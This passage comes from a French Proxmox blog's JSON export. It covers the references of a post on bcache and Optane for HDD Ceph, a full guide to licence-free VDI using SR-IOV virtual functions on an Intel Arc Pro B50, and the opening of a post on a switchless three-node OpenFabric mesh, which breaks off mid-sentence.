utilisable.\nC\u0026rsquo;est tout le tour de main, et il n\u0026rsquo;y a rien d\u0026rsquo;astucieux là-dedans. Mettez chaque travail sur le périphérique qui y est bon, et cessez de payer deux fois pour ceux qui ne le sont pas.\nPour un cluster Proxmox hyper-convergé qui a besoin de capacité multi-téraoctet sans le prix du tout-flash, c\u0026rsquo;est une conception défendable. Bâtie correctement, elle paraît bien plus rapide que des HDD nus, elle échoue de façons que Ceph est bâti pour gérer, et l\u0026rsquo;argent va là où il change le résultat.\nDeux choses liées à lire à côté de celle-ci : le travail sur la taille de secteur dans 4Kn, 512e et 512n compte beaucoup pour ce que les plateaux font des écritures qui les atteignent, et si vous bâtissez ceci sur des nœuds à attache directe, le maillage sans commutateur couvre le côté réseau d\u0026rsquo;un petit cluster Ceph.\nRéférences Ceph — Hardware Recommendations — l\u0026rsquo;avertissement IOPS-par-To sur les gros HDD, « HDD OSDs may see a significant write latency improvement by offloading WAL+DB onto an SSD », les ratios de 4 à 5 HDD par SSD SATA et ≤15 par NVMe, la protection contre la coupure de courant sur les SSD d\u0026rsquo;entreprise, la désactivation du cache d\u0026rsquo;écriture HDD, et l\u0026rsquo;inutilité d\u0026rsquo;un HBA RoC Ceph — BlueStore Configuration Reference — block.db à 1-2 % de block pour RBD et au moins 4 % pour RGW, la recommandation générale de 2,5 %, le débordement de nouveau sur le périphérique primaire, les tailles de niveau RocksDB derrière les paliers de 3/30/300 Go, et le WAL implicitement colocalisé avec la DB Linux kernel — bcache admin guide — les modes de cache, sequential_cutoff et son défaut de 4 Mo, le défaut de congestion de lecture de 2000 µs, writeback_rate en secteurs par seconde, le contrôleur PD de writeback_percent, les compteurs dirty_data / cache_hit_ratio / bypassed et leurs versions décroissantes sur le jour, l\u0026rsquo;heure et les cinq minutes, l\u0026rsquo;avertissement que writeback_running est « only meant for benchmarking », l\u0026rsquo;affirmation que ces réglages « do not persist across reboot », et « in writeback mode you\u0026rsquo;ll lose data if something happens to your SSD » Intel — Optane Memory M10 32 GB specifications — 365 TBW, 240 000 IOPS en lecture aléatoire et 65 000 en écriture aléatoire à 4K sur une étendue de 8 Go, 1200/290 Mo/s en séquentiel, PCIe 3.0 x2 Intel — Optane Memory M10 16 GB specifications — les 150 Mo/s en écriture séquentielle et 35 000 IOPS en écriture aléatoire qui mettent cette pièce sous un disque à plateaux en débit séquentiel PC Perspective — Optane SSD DC P4800X performance — les 550K IOPS en lecture aléatoire 4K de la pièce de 375 Go, 2400/2000 Mo/s en séquentiel, une latence typique sous 10 µs, et 12,3 PBW à 30 DWPD ServeTheHome — Optane DC P4801X 100GB M.2 review — les petites pièces M.2 de centre de données, pour l\u0026rsquo;échelle de capacité StorageReview — Intel Optane SSD P5800X — la note de 100 DWPD, les 30 DWPD du P4800X, et la comparaison contre les disques NAND d\u0026rsquo;entreprise plafonnant autour de 10 DWPD pour les pièces à forte écriture et 3 ou moins pour l\u0026rsquo;usage mixte Bcache — ArchWiki — les modes de défaillance pratiques, dont un périphérique d\u0026rsquo;appui remontant sans son cache après un redémarrage, et les exigences de sûreté à la coupure de courant autour du cache d\u0026rsquo;écriture HDD et de FUA Intel — Optane business update — la fermeture, et ce qu\u0026rsquo;elle veut dire pour la garantie et le support sur les périphériques déjà en service, qui est la position dans laquelle tout ce que vous achetez sur le marché du recyclage est déjà ","permalink":"https://blogs.damiendye.uk/fr/proxmox/hdd-backed-ceph-bcache-optane/","summary":"Le prix de la flash a rendu le tout-NVMe difficile à justifier, et les HDD d\u0026rsquo;entreprise méritent un nouveau regard. En tirer une latence acceptable sur du Ceph Proxmox hyper-convergé veut dire sortir RocksDB du plateau, apparier chaque disque avec sa propre Optane par bcache — Optane précisément, parce que l\u0026rsquo;endurance de la NAND est mauvaise pour ce travail — et être honnête sur les modes de défaillance que ça achète.","title":"Rendre rapides les clusters Ceph Proxmox sur HDD — métadonnées sur NVMe, une Optane par plateau, et ce que ça vous coûte"},{"content":"Pourquoi cela a été cher jusqu\u0026rsquo;ici Le VDI — Virtual Desktop Infrastructure — livre un bureau complet depuis un centre de données ou une instance cloud plutôt que depuis l\u0026rsquo;appareil devant vous. Un utilisateur se connecte depuis un portable, un client léger ou sa propre machine, et obtient un bureau Windows ou Linux familier dont les applications, les fichiers et le traitement se font tous de façon centralisée.\nL\u0026rsquo;attrait pour une équipe informatique est que les correctifs, le contrôle d\u0026rsquo;accès et la protection des données se font tous au même endroit, et que les gens peuvent atteindre le même bureau de partout.\nL\u0026rsquo;obstacle n\u0026rsquo;a jamais été l\u0026rsquo;hyperviseur. C\u0026rsquo;était le GPU.\nPartager un GPU physique entre plusieurs bureaux a été le territoire de NVIDIA, et NVIDIA facture le logiciel vGPU qui fait le découpage. Cette licence est la raison pour laquelle le VDI avec graphismes accélérés par le matériel a surtout été l\u0026rsquo;apanage des structures aux budgets d\u0026rsquo;entreprise. Payer une redevance annuelle pour allumer quelque chose que le silicium sait déjà faire est une chose difficile à trouver enthousiasmante.\nIntel a changé l\u0026rsquo;arithmétique avec la gamme Arc Pro. Ces cartes prennent en charge le découpage matériel par SR-IOV standard, qui est une fonction PCIe plutôt qu\u0026rsquo;un produit. À ce titre, il n\u0026rsquo;y a pas de serveur de licences, pas d\u0026rsquo;abonnement, et pas de logiciel vGPU séparé à acheter.\nJ\u0026rsquo;ai donc mis la main sur un Intel Arc Pro B50 pour voir avec quelle propreté il s\u0026rsquo;assemble avec Proxmox. La réponse courte : le mécanisme marche exactement comme annoncé, puis le micrologiciel s\u0026rsquo;est mis en travers. Les deux moitiés sont ci-dessous.\nComment une carte en devient plusieurs : fonction physique sur l'hôte, fonctions virtuelles aux invités Intel Arc Pro Bxx 03:00.0 — physical function pilote hôte : xe 03:00.1 vfio-pci 03:00.2 vfio-pci 03:00.3 créée si pris en charge 03:00.4 créée si pris en charge bureau Windows 1 accéléré matériel bureau Windows 2 accéléré matériel bureau Windows 3 accéléré matériel bureau Windows 4 accéléré matériel Aucune licence vGPU n'est en jeu à aucun moment. Le SR-IOV est une capacité PCIe que la carte annonce ou non — celle-ci l'annonce à\u0026#160;[320]. Combien de fonctions elle créera est fixé dans le micrologiciel, car chacune reçoit une tranche fixe de la mémoire de la carte : une tranche plus grande veut dire moins de fonctions. Un B50 de 16 Go en donne deux à 8 Go chacune ; les cartes de 24 et 32 Go en rapportent sept. La fonction physique reste avec le pilote xe de l\u0026rsquo;hôte. Chaque fonction virtuelle est un périphérique PCIe à part entière, lié à vfio-pci et remis à un invité — la même machinerie de passthrough qu\u0026rsquo;une carte entière, juste plusieurs fois. La paire en pointillés dépend de la carte : combien de fonctions chacune créera est plus bas. L\u0026rsquo;éléphant : il vous faut Windows d\u0026rsquo;abord Avant que tout cela marche, la carte veut que son micrologiciel soit mis à jour. Intel livre cette mise à jour dans l\u0026rsquo;installeur du pilote Windows.\nCe qui est gênant, parce que la raison pour laquelle vous avez acheté la carte est de la faire tourner sous Proxmox.\nIl y a un contournement qui n\u0026rsquo;a besoin que de Proxmox : montez une VM Windows, passez-lui la carte entière, laissez Windows mettre à jour le micrologiciel, puis rendez la carte à l\u0026rsquo;hôte. C\u0026rsquo;est une boucle d\u0026rsquo;amorçage, et il vaut de la connaître avant de planifier le montage plutôt qu\u0026rsquo;après.\nBriser la boucle d'amorçage « Windows d'abord » avec une VM temporaire Le hic : le SR-IOV a besoin d'un micrologiciel à jour, et le micrologiciel est livré dans un installeur de pilote Windows. 1 Carte dans l'hôte lspci → 03:00.0 2 Toute la carte → VM Windows hostpci0, Q35 + OVMF 3 Installer le pilote Intel le micrologiciel se met à jour avec 4 Redémarrer l'hôte la carte se réinitialise carte rendue à Proxmox 5 SR-IOV présent lspci -v → [320] 6 tmpfiles.d au démarrage numvfs, unbind, bind 7 VF aux invités autant que le micrologiciel permet Les étapes 2 et 3 n'existent que pour mettre à jour le micrologiciel. La VM Windows est temporaire — une fois la carte revenue sur l'hôte, elle ne joue plus de rôle, et rien du montage fini ne dépend de Windows tournant sur l'hyperviseur. La carte ne peut pas faire de SR-IOV tant que son micrologiciel n\u0026rsquo;est pas à jour, et la mise à jour du micrologiciel arrive comme un pilote Windows. Une VM Windows temporaire avec la carte entière attachée brise la boucle. Trouver la carte Sur l\u0026rsquo;hôte Proxmox, lspci pour la localiser :\nlspci La voici à 03:00.0, rapportée comme Battlemage G21, le silicium derrière l\u0026rsquo;Arc Pro B50. Notez l\u0026rsquo;adresse. Vous en aurez besoin plusieurs fois, et il y a une fonction audio séparée à 04:00.0 qui l\u0026rsquo;accompagne.\nPasser la carte entière à une VM Windows Ajoutez la carte à une VM Windows comme périphérique PCI brut. Dans le matériel de la VM, c\u0026rsquo;est une entrée PCI Device : 0000:03:00 avec pcie=1 :\nIl vaut de remarquer ce que cette VM est par ailleurs, parce que rien n\u0026rsquo;y est accidentel : type de machine Q35, micrologiciel OVMF, VirtIO SCSI single, et un TPM pour Windows 11. Q35 en particulier n\u0026rsquo;est pas optionnel ici. Un GPU passé sur i440fx apparaît comme un périphérique PCI hérité, qui est la mauvaise forme pour un pilote graphique moderne. C\u0026rsquo;est traité dans Toujours utiliser Q35, pas i440fx.\nDémarrez la VM et vérifiez que Windows voit la carte :\nElle apparaît comme un Microsoft Basic Display Adapter parce qu\u0026rsquo;aucun pilote n\u0026rsquo;est encore installé. C\u0026rsquo;est l\u0026rsquo;état attendu, et cela suffit. Windows a trouvé le matériel.\nMettre à jour le micrologiciel Prenez le pilote à jour depuis la page de téléchargement Arc Pro B50 d\u0026rsquo;Intel. Au moment d\u0026rsquo;écrire, c\u0026rsquo;était la version 32.0.101.8306 (Q4.25), pour Windows 11 et Windows 10 22H2 :\nInstallez-le, et laissez la mise à jour du micrologiciel se dérouler dans le processus plutôt que d\u0026rsquo;annuler trop tôt. Cette étape de micrologiciel est toute la raison de ce détour.\nQuand elle finit, rendez la carte à l\u0026rsquo;hôte et redémarrez, pour qu\u0026rsquo;elle se réinitialise pleinement sous Proxmox.\nConfirmer que le SR-IOV est là Demandez maintenant à la carte ce qu\u0026rsquo;elle sait faire :\nlspci -v La ligne qui compte :\nCapabilities: [320] Single Root I/O Virtualization (SR-IOV) C\u0026rsquo;est toute la proposition en une ligne de sortie de lspci, sans aucune licence attachée.\nTrois autres choses dans cette sortie valent d\u0026rsquo;être lues pendant que vous y êtes :\nKernel driver in use: xe — la carte est sur le pilote xe plus récent d\u0026rsquo;Intel plutôt que sur i915, et c\u0026rsquo;est lui qui créera les fonctions virtuelles. [420] Physical Resizable BAR et [220] Virtual Resizable BAR — la carte prend en charge les BAR redimensionnables, et ses fonctions virtuelles aussi. Il vaut de savoir ce que cela vous coûte en espace d\u0026rsquo;adressage si vous en passez plusieurs : voir PCIe Resizable BAR et les GPU modernes. IOMMU group 13 — la carte est dans un groupe à elle, ce qui est ce que vous voulez pour un passthrough propre. Pourquoi cela compte est dans l\u0026rsquo;article sur la taxe IOMMU. Créer les fonctions virtuelles au démarrage Les fonctions virtuelles ne sont pas persistantes. Les demander est une écriture dans sysfs, donc cela doit se faire à chaque démarrage.\ntmpfiles.d est une façon propre de faire cela de façon déclarative, plutôt que de boulonner un script sur un fichier d\u0026rsquo;unité :\nLe fichier fait trois tâches dans l\u0026rsquo;ordre.\nCréer les fonctions virtuelles, en écrivant le nombre dans le sriov_numvfs de la fonction physique :\nw /sys/devices/pci0000:00/0000:00:01.1/0000:01:00.0/0000:02:01.0/0000:03:00.0/sriov_numvfs - - - - 4 Détacher chaque nouvelle fonction de xe, parce que le pilote de l\u0026rsquo;hôte les réclame dès qu\u0026rsquo;elles apparaissent et qu\u0026rsquo;un invité ne peut pas avoir un périphérique que l\u0026rsquo;hôte tient :\nw /sys/bus/pci/drivers/xe/unbind - - - - 0000:03:00.1 w /sys/bus/pci/drivers/xe/unbind - - - - 0000:03:00.2 w /sys/bus/pci/drivers/xe/unbind - - - - 0000:03:00.3 w /sys/bus/pci/drivers/xe/unbind - - - - 0000:03:00.4 Les lier à vfio-pci, qui est ce qui les rend disponibles pour le passthrough :\nw /sys/bus/pci/drivers/vfio-pci/bind - - - - 0000:03:00.1 w /sys/bus/pci/drivers/vfio-pci/bind - - - - 0000:03:00.2 w /sys/bus/pci/drivers/vfio-pci/bind - - - - 0000:03:00.3 w /sys/bus/pci/drivers/vfio-pci/bind - - - - 0000:03:00.4 Notez les adresses : la fonction physique est 03:00.0 et les fonctions virtuelles apparaissent de .1 à .4.\nUn détail sur w qui explique l\u0026rsquo;ordre, et qui vous mordra si vous vous trompez. systemd le documente ainsi : « Write the argument parameter to a file, if the file exists. » sriov_numvfs n\u0026rsquo;existe qu\u0026rsquo;une fois qu\u0026rsquo;un pilote s\u0026rsquo;est lié à la fonction physique, et les chemins des fonctions virtuelles n\u0026rsquo;existent qu\u0026rsquo;une fois cette écriture faite. La séquence dans le fichier n\u0026rsquo;est donc pas stylistique. Chaque ligne dépend de ce que la précédente ait pris effet.\nPourquoi deux, et pas quatre Le pilote 32.0.101.8306 — celui installé plus haut — porte le micrologiciel graphique BMG__21,1162, et c\u0026rsquo;est la version où Intel a d\u0026rsquo;abord officiellement activé le SR-IOV sur Arc Pro. Le défaut annoncé par Intel pour le B50 dans cette version est deux fonctions virtuelles, chacune avec un BAR de mémoire locale VF de 8 Go.\nCe qui fait du nombre de l\u0026rsquo;arithmétique plutôt qu\u0026rsquo;une politique. Le B50 a 16 Go. À 8 Go par fonction virtuelle, deux est tout ce qui tient.\nIl y a une subtilité à connaître si vous cherchez un contournement. Avant que le support officiel existe, certains ont fait tourner un micrologiciel plus ancien qui exposait 12 fonctions virtuelles sur un B50, et revenir au pilote 32.0.101.6979 restaure ce nombre. Ces 12 partageaient les mêmes 16 Go, donc chacune avait une fraction de la mémoire que les miennes ont. La position d\u0026rsquo;Intel est que deux a été choisi délibérément pour donner à chaque fonction assez de calcul, de capacité et de bande passante pour se comporter de façon prévisible.\nLe plafond peut donc être déplacé, mais pas par vous. Le nombre maximum de VF et la taille du BAR de mémoire locale VF vivent dans l\u0026rsquo;IFWI, il n\u0026rsquo;y a pas d\u0026rsquo;outil public pour changer l\u0026rsquo;un ou l\u0026rsquo;autre, et la réponse prise en charge sur une pile à jour est deux.\nCombien de bureaux chaque carte vous donne Le B50 est la petite carte de la famille, et ses deux fonctions sont le plancher de la famille. Si le nombre de sièges est ce qui vous importe, achetez plus haut dans la gamme.\nToute la gamme Battlemage Arc Pro fait du SR-IOV. Ce qui diffère, c\u0026rsquo;est combien de fonctions le micrologiciel taillera, et cela suit la mémoire :\nCarte Mémoire VF sur la pile prise en charge actuelle Vu ailleurs Arc Pro B50 16 Go 2, à 8 Go de BAR VF chacune — le défaut documenté d\u0026rsquo;Intel 12 sur micrologiciel pré-officiel, via le pilote 32.0.101.6979 Arc Pro B60 24 Go 7 rapportées 24 sur un micrologiciel ASRock précoce, ramenées à 7 par un plus tardif Arc Pro B60 Dual 2 × 24 Go 7 par GPU — deux GPU, donc 14 depuis un emplacement comme ci-dessus ; les deux moitiés sont indépendantes Arc Pro B65 32 Go aucun nombre publié trouvé — Arc Pro B70 32 Go 7 rapportées, sur micrologiciel 8517 4 sur micrologiciel plus ancien Seule la ligne du B50 est documentée par Intel. Les nombres du B60 et du B70 sont ceux que les gens rapportent de lspci, et ils ont bougé plus d\u0026rsquo;une fois. Le B60 en particulier est passé de 24 à 7 dans une mise à jour de micrologiciel, ce qui est le même genre de resserrement que le B50 a connu. Personne ne semble avoir publié de nombre de VF pour le B65 du tout, donc traitez cette ligne comme inconnue plutôt que comme zéro.\nDeux choses découlent de ce tableau, et les deux comptent plus qu\u0026rsquo;aucun nombre isolé dedans.\nLe nombre de VF est une division de mémoire, pas une fonction du die. La règle d\u0026rsquo;Intel est qu\u0026rsquo;un BAR de mémoire locale VF plus grand veut dire moins de fonctions. C\u0026rsquo;est pourquoi la carte de 16 Go en donne deux et les cartes de 32 Go en donnent sept : rien dans les shaders du GPU ne le décide.\nVérifiez la carte que vous êtes sur le point d\u0026rsquo;acheter, pas la famille. La présence du SR-IOV a varié entre fabricants de cartes sur la même puce — le B60 Blower de Sparkle est d\u0026rsquo;abord sorti sans la capacité visible du tout et ne l\u0026rsquo;a gagnée qu\u0026rsquo;après une mise à jour de micrologiciel igsc. Demandez la sortie de lspci -v du modèle exact, ou budgétez une mise à jour de micrologiciel avant de compter sur tout cela.\nLe B60 Dual, ce sont deux cartes portant un seul support Le B60 Dual 48G Turbo de Maxsun est l\u0026rsquo;intéressant pour le nombre de sièges, et la chose à comprendre est que les 48 Go ne sont pas un pool.\nCe sont deux GPU B60 — deux dies BMG-G21 — sur une carte, avec 24 Go de GDDR6 câblés à chacun, et aucune puce de pont PCIe entre eux. Les deux dies pendent droit aux doigts dorés x16 à PCIe 5.0 x8 chacun.\nCe qui veut dire que l\u0026rsquo;hôte doit découper l\u0026rsquo;emplacement pour vous. La carte a besoin que l\u0026rsquo;emplacement x16 primaire soit bifurqué en x8/x8, et la plupart des cartes grand public ne l\u0026rsquo;activent pas par défaut. C\u0026rsquo;est un réglage de micrologiciel que vous allez chercher, dans la même catégorie que les réglages IOMMU et ACS dont tout ceci a besoin.\nFaites-le bien et le système d\u0026rsquo;exploitation voit deux GPU séparés, chacun avec sa propre fonction physique et sa propre capacité SR-IOV. Vous obtenez donc deux lots de fonctions virtuelles depuis un emplacement — 14 sièges si chaque die se comporte comme un seul B60 — et le fichier tmpfiles.d ci-dessus double, une écriture sriov_numvfs par die.\nFaites-le mal et vous voyez un GPU et la moitié de la carte est invisible.\nIl vaut d\u0026rsquo;être clair sur ce que les 48 Go ne sont pas : un invité attaché à une fonction virtuelle sur le premier die ne peut pas atteindre la mémoire du second die. Ce sont deux cartes de 24 Go dans un seul espace physique, ce qui est exactement ce que vous voulez pour des sièges VDI et exactement ce que vous ne voulez pas pour un seul gros modèle.\nDonc : si deux sièges suffisent, le B50 est une carte de 70 W qui le fera. Si vous en voulez sept, planifiez autour d\u0026rsquo;un B70. Si vous en voulez quatorze et avez une carte qui bifurque, le B60 Dual vous y mène en un seul emplacement.\nPeut-on faire de l\u0026rsquo;IA sur une fonction virtuelle ? Réponse courte : traitez-le comme non pris en charge. Réponse plus longue, parce que la raison compte et n\u0026rsquo;est pas celle que vous devineriez.\nCe sont des cartes vendues comme cartes d\u0026rsquo;IA et elles ne font pas semblant. Les 128 moteurs XMX du B50 sont notés à 170 TOPS de pointe, le B70 à 367, et l\u0026rsquo;histoire logicielle d\u0026rsquo;Intel est réelle — vLLM sert des modèles de 8B jusqu\u0026rsquo;à 120B sur les Arc Pro série B, et IPEX-LLM et le backend SYCL de llama.cpp tournent tous deux dessus.\nMais regardez comment chacun de ces résultats est produit. Les propres chiffres Arc Pro de vLLM viennent d\u0026rsquo;un conteneur Docker sur métal nu, sur des systèmes avec quatre et huit cartes B60 entières faisant du parallélisme de tenseurs. Le billet d\u0026rsquo;Intel ne mentionne le SR-IOV ni les fonctions virtuelles pas une seule fois.\nCe schéma tient partout où j\u0026rsquo;ai regardé. Intel cantonne les cas d\u0026rsquo;usage du SR-IOV au bureau distant virtualisé, à l\u0026rsquo;accélération graphique du système invité, et à l\u0026rsquo;encodage et au décodage média. Le calcul n\u0026rsquo;est pas sur cette liste, et je n\u0026rsquo;ai pas pu trouver un seul cas publié de quiconque faisant tourner de l\u0026rsquo;inférence LLM dans une VM attachée à une fonction virtuelle.\nCe que les gens font réellement est parlant : ils font tourner le modèle dans Docker sur l\u0026rsquo;hôte, et remettent des fonctions virtuelles aux VM pour les bureaux. Une personne faisant les deux à la fois rapporte simplement que « VRAM gets pretty tight » — la VRAM devient assez juste.\nCe qui est le vrai problème, et c\u0026rsquo;est de l\u0026rsquo;arithmétique plutôt qu\u0026rsquo;un support de pilote.\nUne fonction virtuelle obtient une tranche fixe de mémoire locale — 8 Go sur le B50, fixé dans le micrologiciel. Cette tranche est le plafond dur pour les poids plus le cache KV dans cet invité, et elle ne grandit pas parce que la carte en a plus. Un modèle 8B en FP16 fait environ 16 Go de poids avant que vous n\u0026rsquo;ajoutiez le moindre contexte, donc il ne tient pas dans une fonction virtuelle de B50 sur aucun pilote. Quantifiez en Q4 et un 8B tient dans environ 4 Go, laissant quelques Go pour le contexte — ce qui marche, mais est loin de ce que la carte sait faire non divisée.\nLes deux charges se disputent donc la même mémoire, et le partage est décidé dans le micrologiciel avant qu\u0026rsquo;aucune des deux ne démarre.\nSi l\u0026rsquo;IA est le travail, ne divisez pas la carte. Passez le tout à une seule VM — le même passthrough hostpci0 utilisé pour la mise à jour du micrologiciel plus tôt dans ce billet — ou faites tourner le conteneur sur l\u0026rsquo;hôte et sautez la virtualisation pour cette charge. Les deux donnent au modèle les 16 Go entiers et tout le réseau XMX.\nSi le VDI est le travail, les fonctions virtuelles sont justes, et attendez des graphismes de bureau plutôt qu\u0026rsquo;un serveur d\u0026rsquo;inférence derrière chacune. Les bureaux accélérés par le matériel, la lecture vidéo et l\u0026rsquo;encodage marchent. C\u0026rsquo;est pour cela que le mécanisme est documenté.\nIl vaut de dire clairement : l\u0026rsquo;absence de preuve publiée n\u0026rsquo;est pas la preuve que cela échoue. Le pilote xe expose le calcul par Level Zero et OpenCL, et il est tout à fait possible qu\u0026rsquo;un invité adossé à une VF les amène sans souci. Mais rien d\u0026rsquo;Intel ne dit que c\u0026rsquo;est validé, personne ne semble l\u0026rsquo;avoir montré marchant, et le plafond de mémoire limite le gain même si c\u0026rsquo;est le cas. Ce n\u0026rsquo;est pas quelque chose sur quoi bâtir un plan.\nCe que cela vaut quand même Deux fonctions virtuelles, ce sont deux bureaux Windows accélérés par le matériel depuis une carte, sans licence vGPU, sans abonnement et sans serveur de licences. Sur un hyperviseur dont l\u0026rsquo;exploitation ne coûte rien. C\u0026rsquo;est assez pour prouver que l\u0026rsquo;approche marche, ce qui est le travail honnête d\u0026rsquo;un B50. C\u0026rsquo;est le bas de la gamme.\nPour un déploiement VDI réel, je spécifierais le B60 Dual.\nQuatorze fonctions depuis un emplacement — si chaque die se comporte comme un seul B60 — le met dans le même territoire de nombre de sièges que les cartes NVIDIA vendues pour cette charge, à un prix bien plus bas, et sans rien à licencier par utilisateur. Cette dernière partie est celle qui compose. Les vApps, vPC et RTX vWS de NVIDIA sont tous licenciés par utilisateur simultané, soit comme abonnement annuel, soit comme licence perpétuelle qui doit être achetée à côté d\u0026rsquo;un abonnement de support et de maintenance de cinq ans. Chaque siège est une ligne de facture, et elle revient. Côté Intel, il n\u0026rsquo;y a pas de ligne équivalente. Vous achetez la carte.\nEt le mécanisme est la partie qui compte à long terme. Le SR-IOV sur le GPU est une capacité PCIe, pas un palier de produit, donc le fichier tmpfiles.d grandit simplement pour correspondre à ce que la carte permet.\nLa forme est une écriture sriov_numvfs, puis un unbind et un bind pour chaque fonction — donc deux fonctions font cinq lignes, et les neuf ci-dessus sont quatre fonctions demandées sur une carte qui en livre deux. Sept fonctions font quinze lignes. Un B60 Dual en fait trente, parce que chaque die est sa propre fonction physique et obtient sa propre écriture sriov_numvfs.\nRien d\u0026rsquo;autre ne change à mesure que vous l\u0026rsquo;échelonnez. Aucun serveur de licences n\u0026rsquo;apparaît à aucun moment dans ce fichier.\nRéférences Intel support — why the latest Arc Pro B50 firmware shows 2 SR-IOV VFs — l\u0026rsquo;affirmation qui fait autorité : SR-IOV officiellement activé à partir du micrologiciel graphique BMG__21,1162 dans le pilote 32.0.101.8306, deux VF à un BAR de mémoire locale VF de 8 Go chacune sur le B50, et le nombre maximum de VF et la taille de BAR fixés au niveau IFWI sans outil public pour les changer Intel Community — \u0026ldquo;Why did the latest Intel Arc Pro B50 firmware nerf SR-IOV VFs from 12 to 2?\u0026rdquo; — le micrologiciel pré-officiel à 12 VF, le retour à 32.0.101.6979 qui le restaure, et le raisonnement d\u0026rsquo;Intel pour le défaut plus bas Level1Techs — B60 SR-IOV support in the Arc Pro drivers — les rapports lspci de terrain pour le B60, la mise à jour de micrologiciel igsc qui a exposé la capacité, et d\u0026rsquo;où viennent les chiffres 24-puis-7 Level1Techs — B50, B60 or B70 for SR-IOV — les nombres de VF rapportés par carte et par micrologiciel, source des lignes du B70 ASRock — Intel Arc Pro B65 Creator 32GB — les spécifications du B65 : 32 Go GDDR6, 20 unités de calcul, 160 moteurs XMX, 256 bits, PCIe 5.0 MAXSUN — Arc Pro B60 Dual 48G Turbo — l\u0026rsquo;affirmation du fabricant lui-même que la carte « uses PCIe 5.0 x8 + x8 interfaces and runs efficiently on consumer platforms that support PCIe x16 lane bifurcation » vLLM — Fast and affordable LLM serving on Intel Arc Pro B-Series — l\u0026rsquo;histoire d\u0026rsquo;IA sur ces cartes, et le fait que c\u0026rsquo;est une histoire de Docker-sur-métal-nu sur quatre et huit B60 entiers, sans mention du SR-IOV ni des fonctions virtuelles Linux kernel — Intel Xe driver — le pilote en usage sur la carte, d\u0026rsquo;après lspci -v tmpfiles.d(5) — le type de ligne w, et sa condition « if the file exists » qui dicte l\u0026rsquo;ordre ci-dessus NVIDIA Virtual GPU Software Packaging, Pricing and Licensing Guide — l\u0026rsquo;alternative licenciée que cette conception évite : vApps, vPC et RTX vWS tous vendus par utilisateur simultané, comme abonnement annuel ou comme licence perpétuelle groupée avec cinq ans de support et de maintenance Proxmox VE — PCI(e) Passthrough — les exigences de passthrough côté hôte ","permalink":"https://blogs.damiendye.uk/fr/proxmox/licence-free-vdi-intel-arc-pro-sriov/","summary":"Les cartes Arc Pro d\u0026rsquo;Intel font du SR-IOV nativement, sans licence vGPU à acheter — ce qui rend un VDI Windows sans licence sur Proxmox vraiment possible. Tout le montage sur un B50, le problème d\u0026rsquo;amorçage « Windows d\u0026rsquo;abord », pourquoi le micrologiciel le plafonne à deux fonctions virtuelles, et combien chaque carte de la série B vous en donne.","title":"VDI Windows sans licence sur Proxmox avec un Intel Arc Pro B50 — et la limite de micrologiciel qui l'a arrêté"},{"content":"Le switch que vous n\u0026rsquo;achetez pas Un cluster Proxmox de trois nœuds avec Ceph veut un réseau rapide entre les nœuds. La réponse habituelle est un switch 100 Gbit/s, et l\u0026rsquo;objection habituelle est ce qu\u0026rsquo;il coûte.\nIl y a une autre réponse pour trois nœuds : les câbler droit les uns aux autres en triangle et router à travers. Aucun switch dans le chemin de stockage.\nLe composant le moins cher d\u0026rsquo;un montage est celui que vous n\u0026rsquo;achetez pas, et c\u0026rsquo;est le seul qui ne tombe jamais en panne.\nÇa vous rapporte quatre choses.\nLe coût du switch disparaît. Il vous faut des cartes réseau et trois câbles, pas un switch 100 ou 200 Gbit/s avec le nombre de ports qui va avec.\nLe chemin de données n\u0026rsquo;a aucun point de défaillance unique. Un switch qui tombe ou qui redémarre emporte avec lui tout le trafic est-ouest du cluster. Des nœuds câblés directement entre eux se moquent de ce qui arrive à un switch ailleurs dans le bâtiment.\nLe gros trafic est sur ses propres fils. La migration à chaud et la réplication Ceph restent sur le maillage au lieu de se battre avec le trafic bureautique et d\u0026rsquo;administration.\nL\u0026rsquo;agrandir est un travail de câblage, pas de budget de ports. Il n\u0026rsquo;y a pas de boîte centrale qui joue le plafond de bande passante ou de nombre de ports, donc le fabric grandit tant que chaque serveur a un slot PCIe libre. OpenFabric route sur les nouveaux liens tout seul.\nEt une limite honnête, parce qu\u0026rsquo;elle compte plus que les quatre avantages. Un maillage complet demande un câble entre chaque paire de nœuds. Trois nœuds, c\u0026rsquo;est trois câbles. Quatre, c\u0026rsquo;est six. Cinq, c\u0026rsquo;est dix. Le câblage grandit plus vite que le nombre de nœuds, et ce montage ne survit pas au-delà d\u0026rsquo;un petit cluster sans passer à quelque chose de commuté, comme du leaf-spine.\nTrois nœuds, c\u0026rsquo;est exactement là où un maillage complet a du sens. Au-delà, avec deux ports de maillage par nœud, ce que vous pouvez encore construire est un anneau — et ça demande une chose que ce montage évite par ailleurs, traitée plus bas.\nCe qui se construit Trois hôtes Proxmox VE, chacun avec deux interfaces 100 Gbit/s dédiées, câblés en triangle de sorte que chaque nœud a deux voisins directs.\nLe SDN de Proxmox fait le routage. OpenFabric est le protocole : il détermine le meilleur chemin à travers le maillage, et quand un câble est débranché ou qu\u0026rsquo;un lien tombe, il reroute par le chemin restant. Personne ne se connecte.\nLe fabric vit dans 10.10.10.0/24, réservé au maillage et à rien d\u0026rsquo;autre — ni l\u0026rsquo;administration, ni les invités, ni l\u0026rsquo;adressage du stockage, ni quoi que ce soit d\u0026rsquo;externe.\nNœud Adresse de maillage Interfaces de maillage mesh1 10.10.10.1/32 nic1, nic2 mesh2 10.10.10.2/32 nic1, nic2 mesh3 10.10.10.3/32 nic1, nic2 Chaque nœud reçoit un /32, pas une tranche du sous-réseau. C\u0026rsquo;est tout l\u0026rsquo;intérêt d\u0026rsquo;un maillage routé plutôt que ponté. L\u0026rsquo;adresse identifie le nœud, OpenFabric l\u0026rsquo;annonce, et les deux liens physiques ne sont que des chemins pour l\u0026rsquo;atteindre. Proxmox crée une interface de bouclage factice pour la porter.\nLe triangle à trois nœuds, et sur quelle NIC chaque câble atterrit switch 2,5 Gbit/s administration + client mesh1 10.10.10.1/32 mesh2 10.10.10.2/32 mesh3 10.10.10.3/32 DAC-01 nic1 ↔ nic1 DAC-03 nic2 ↔ nic2 DAC-02 mesh2 nic2 ↔ mesh3 nic1 nic0 nic0 nic0 Chaque nœud atteint les deux autres directement, donc chaque saut du maillage est un saut unique. Les liens nic0 en pointillés sont le chemin d'administration 2,5 Gbit/s séparé — jamais dans le fabric, et la raison pour laquelle vous pouvez encore vous connecter si le maillage est cassé. Trois câbles, six ports, et deux chemins vers chaque nœud. Débranchez n\u0026rsquo;importe quel câble et chaque nœud reste joignable — les deux liens restants forment une chaîne qu\u0026rsquo;OpenFabric contournera. Le câblage Des câbles DAC en fibre active, en triangle, avec les trames jumbo activées sur les deux interfaces 